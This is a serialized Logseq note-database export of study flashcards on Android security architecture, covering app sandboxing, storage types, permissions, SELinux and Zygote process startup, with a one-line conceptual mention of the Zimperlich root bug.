rootlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Flogseq____&quot;,212,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Vlogseq____&quot;,196,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Ulogseq____&quot;,2,536874667]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Ulogseq____&quot;,38,536874667]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Ulogseq____&quot;,183,536874667]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-0232-4148-aecf-d8061e18c70flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Isolating each application in its own sandbox allows for fine-grained *resource management*logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Flogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Vlogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[186,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-314f-4e55-9764-bd12ab77e895logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*internal storage*: write files to ((67b74d96-f668-44e4-83c6-0760487f0281))logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Flogseq____&quot;,205,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Vlogseq____&quot;,221,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^Hlogseq____&quot;,217,536874672]],[logseq____&quot;^15logseq____&quot;,[187,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-448e-4ad0-bcb9-4ad0b9cb41d8logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`setUID()`\\nlogseq.order-list-type:: numberlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Flogseq____&quot;,197,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Vlogseq____&quot;,207,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:logseq.order-list-typelogseq____&quot;,logseq____&quot;numberlogseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^19logseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[188,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-79d4-441d-a9cc-36d36bf1e6dblogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Allows for *group forming* and *content sharing* for apps form the same developerlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^Flogseq____&quot;,193,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^Vlogseq____&quot;,198,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[189,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1516-4498-9437-b668bfd85232logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Private data folder for each applicationlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Flogseq____&quot;,216,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Vlogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[190,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-a0af-4a0b-aa60-0f702744dafelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Unique home directory (system services allow access to other parts)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^Flogseq____&quot;,198,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^Vlogseq____&quot;,198,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[191,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b186-4510-84d5-e9ef8a556188logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`Zygote` calls `fork()` (setup DVM/ART)\\nlogseq.order-list-type:: numberlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Flogseq____&quot;,207,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Vlogseq____&quot;,207,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^19logseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[192,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-79c8-4864-9b56-b736b0f6608flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;[Principle of Least Privilege]((67b73cc0-6cc9-4099-81fe-fb696e04c2e6)) enforced by *entitlements*(privileges) signing into an applogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^Flogseq____&quot;,191,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^Vlogseq____&quot;,198,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[193,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-f295-47f7-8844-215e20282a2dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Additionally, SELinux Mandatory access controllogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Flogseq____&quot;,204,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Vlogseq____&quot;,217,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[194,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-a83d-4cdd-a6cf-b38d34639765logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`Zygote` did not check the return value of `setUID`logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Flogseq____&quot;,196,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Vlogseq____&quot;,196,536870916]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Ulogseq____&quot;,2,536874667]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Ulogseq____&quot;,38,536874667]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^Ulogseq____&quot;,183,536874667]],[logseq____&quot;^15logseq____&quot;,[195,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-2322-4404-a417-0a15fb211311logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Zimperlich root exploit\\nid:: 67b83fac-4da8-46ef-938e-6d2a8ea817edlogseq____&quot;,536874666]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Flogseq____&quot;,199,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Vlogseq____&quot;,199,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b83fac-4da8-46ef-938e-6d2a8ea817edlogseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874672]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b83fac-4da8-46ef-938e-6d2a8ea817edlogseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[196,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-4da8-46ef-938e-6d2a8ea817edlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Load APK app code\\nlogseq.order-list-type:: numberlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Flogseq____&quot;,192,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Vlogseq____&quot;,207,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^19logseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[197,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-34f2-4acc-aaf0-d09c3720dbdblogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Thrid party apps are sandboxedlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^Flogseq____&quot;,219,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^Vlogseq____&quot;,219,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[198,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c155-41f9-b32c-d7f30cf4846clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Attacks #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Flogseq____&quot;,221,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874672]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Jlogseq____&quot;,[],536874672]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Hlogseq____&quot;,2,536874672]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^Hlogseq____&quot;,38,536874672]],[logseq____&quot;^15logseq____&quot;,[199,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1ae0-458e-a59c-5e99097f2f22logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Breaking ALSRlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Flogseq____&quot;,196,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Vlogseq____&quot;,199,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874672]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^Jlogseq____&quot;,[],536874672]],[logseq____&quot;^15logseq____&quot;,[200,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b866-4262-87ee-39ec4a7bce74logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Application Isolation #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Flogseq____&quot;,209,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874672]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Jlogseq____&quot;,[],536874672]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Hlogseq____&quot;,2,536874672]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^Hlogseq____&quot;,38,536874672]],[logseq____&quot;^15logseq____&quot;,[201,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7d6b-4456-87b1-68e0a902becclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*external storage*: no privacy guaranteeslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Flogseq____&quot;,187,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Vlogseq____&quot;,221,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[202,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-ac6f-486c-9bdf-6d24694cf8e2logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*extensions* offer functionality to other apps (special-purpose, *separately sandboxed*, *signed* executables)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^Flogseq____&quot;,189,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^Vlogseq____&quot;,198,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[203,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-2aa4-4905-82d3-0c398a5a170alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Represented using for numbers (4: `read`, 2: `write`, 1: `execute`)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Flogseq____&quot;,206,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Vlogseq____&quot;,217,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[204,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-903e-4781-bec4-8e617def8acalogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*shared preferences*: persistent key-value store (by default readable only for the owning app)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Flogseq____&quot;,221,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Vlogseq____&quot;,221,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[205,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-30b9-46d8-95cb-6b6417cbbfd1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Only owner and root can change permissionslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Flogseq____&quot;,214,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Vlogseq____&quot;,217,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[206,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-0146-4506-81d1-08a347d8827elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Starting Applications #cardlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Flogseq____&quot;,213,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874672]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Jlogseq____&quot;,[],536874672]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^Hlogseq____&quot;,2,536874672]],[logseq____&quot;^15logseq____&quot;,[207,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-635c-453c-981e-908b49fb978alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nflowchart LR\\n subgraph App Process\\n subgraph Dalvik VM / ART\\n A[\\logseq____&quot;App Code (classes.dex)\\logseq____&quot;]\\n B[Core libs]\\n end\\n C[\\logseq____&quot;JNI(Java Native Interface)\\logseq____&quot;]\\n D[\\logseq____&quot;Native code (*.so)\\logseq____&quot;]\\n end\\n E[Kernel]\\n\\n A logseq____&lt;--logseq____&gt; B\\n A logseq____&lt;--logseq____&gt; C\\n B logseq____&lt;-- syscalls --logseq____&gt; E\\n B logseq____&lt;--logseq____&gt; C\\n C logseq____&lt;--logseq____&gt; D\\n D logseq____&lt;-- syscalls --logseq____&gt; E\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Flogseq____&quot;,213,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Vlogseq____&quot;,213,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[208,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5fe6-46c5-95d6-df60201a09f9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General 